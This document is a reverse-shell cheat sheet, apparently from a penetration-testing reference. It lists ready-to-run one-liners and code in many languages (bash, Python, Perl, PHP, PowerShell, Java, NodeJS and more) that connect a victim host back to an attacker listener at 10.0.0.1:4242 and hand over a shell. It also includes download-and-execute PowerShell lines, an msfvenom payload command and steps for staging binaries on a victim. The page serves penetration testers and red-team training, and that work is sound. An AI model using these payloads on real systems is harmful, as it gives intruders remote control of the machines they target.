Reverse Shells

Reverse Shells#

Methods to establish a reverse shell on a target host across interpreters and shells. The operator picks the variant that lives off the land on the target, then catches the callback on a listener.

AWK#

$ awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Bash#

TCP from victim.

$ bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
$ 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

UDP from victim.

$ sh -i >& /dev/udp/10.0.0.1/4242 0>&1

UDP listener.

$ nc -u -lvp 4242

Socat#

user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

Stage the binary on victim.

user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
user@victim$ chmod +x /tmp/socat
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

Perl#

$ perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

$ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Windows only.

$ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python#

Linux only, IPv4.

$ export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

IPv6.

$ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Windows only.

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP#

$ php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'

$ php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Ruby#

$ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

$ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Windows only.

$ ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Golang#

$ echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Netcat#

Traditional.

$ nc -e /bin/sh 10.0.0.1 4242
$ nc -e /bin/bash 10.0.0.1 4242
$ nc -c bash 10.0.0.1 4242

OpenBSD.

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

Ncat.

$ ncat 10.0.0.1 4242 -e /bin/bash
$ ncat --udp 10.0.0.1 4242 -e /bin/bash

OpenSSL#

Attacker.

user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242

Or.

user@attack$ ncat --ssl -vv -l -p 4242

Victim.

user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s

PowerShell#

$ powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Mini reverse PS1.

$ powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

Java#

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do \\$line 2>&5 >&5; done"] as String[])
p.waitFor()

Java Alt1.

String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
    while(pi.available()>0)so.write(pi.read());
    while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());
    so.flush();po.flush();Thread.sleep(50);
    try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();

Java Alt2.

Thread thread = new Thread(){
    public void run(){
        // Reverse shell here
    }
}
thread.start();

WAR#

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
$ strings reverse.war | grep jsp # in order to get the name of the file

Lua#

Linux only.

$ lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Windows and Linux.

$ lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS#

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

Or.

$ require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')

Or.

$ -var x = global.process.mainModule.require -x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')

Groovy#

String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
    while(pi.available()>0)so.write(pi.read());
    while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());
    so.flush();po.flush();Thread.sleep(50);
    try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();

Groovy Alt1.

Thread.start {
    // Reverse shell here
}

TTY#

Spawn an interpreter TTY shell.

$ /bin/sh -i
$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$ python3 -c '__import__("pty").spawn("/bin/bash")'
$ python3 -c '__import__("subprocess").call(["/bin/bash"])'

$ perl -e 'exec "/bin/sh";'
$ perl: exec "/bin/sh";
$ perl -e 'print `/bin/bash`'
$ ruby: exec "/bin/sh"
$ lua: os.execute('/bin/sh')
$ vi: !bash
$ vi: :set shell=/bin/bash:shell
$ nmap: !sh
$ mysql: ! bash

Windows ConPty#

Pseudo Console (ConPty) in Windows. ConPtyShell uses CreatePseudoConsole(), available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).

Server side.

$ stty raw -echo; (stty size; cat) | nc -lvnp 3001

Client side.

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001

References#

Contents